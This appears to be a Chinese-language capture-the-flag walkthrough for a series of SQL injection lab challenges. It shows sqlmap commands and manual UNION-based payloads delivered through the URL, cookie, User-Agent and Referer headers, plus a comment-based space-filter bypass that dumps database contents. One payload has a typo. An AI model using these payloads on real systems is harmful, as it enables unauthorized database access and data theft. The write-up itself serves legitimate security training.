0x05时间盲注
我们还是继续来用sqlmap来爆数据库。
# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" --current-db --batch
# 查看数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli --tables --batch
# 查看数据库中flag表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --columns --batch
# 查看当前数据库中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --dump --batch
0x06MySQL结构
# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --current-db --batch
# 查询数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -D sqli --tables
# 查看news表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee --columns
# 查看数据库中所有的数据
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee --dump
0x07Cookie注入
这道题我们需要通过抓包来对cookie进行操作,来完成任务
# 通过抓包查看回显位置
1 union select 1,2
# 查看数据库名
-1 union select 1,database()
# 查看数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
# 查询vccdkaqxbl表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='vccdkaqxbl'
# 查询数据库中的数据
-1 union select 1,group_concat(llhlayzpdh) from sqli.vccdkaqxbl
0x08UA注入
# 通过抓包来爆数据库
-1 union select l,group_concat(schema_name) from information_schema.schemata
# 爆数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = sqli
# 爆数据库中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'bkoqrywcto'
# 爆数据库中所有的数据
-1 union select 1,group_concat(fhlxjtkdeg) from bkoqrywcto
0x09Refer注入
# 这道题我们是用hackbar来做
# 查询数据库
-1 union select 1,database()
# 查询数据库中的表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
# 查询表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='wdpqevdhte'
# 查询数据库中的所有数据
-1 union select 1,group_concat(ihwswrmydd) from wdpqevdhte
0x0a过滤空格
这道题空格被过滤了,所以我们使用/**/来过滤
# 查询数据库名
-1/**/union/**/select/**/1,database()
# 查询数据库中的表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()
# 查询数据库中表的字段
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='cppznyhepg'
# 查询表中的所有数据
-1/**/union/**/select/**/1,group_concat(xcsvxeovdc)/**/from/**/cppznyhepg
好小子,离成功又近一步!!!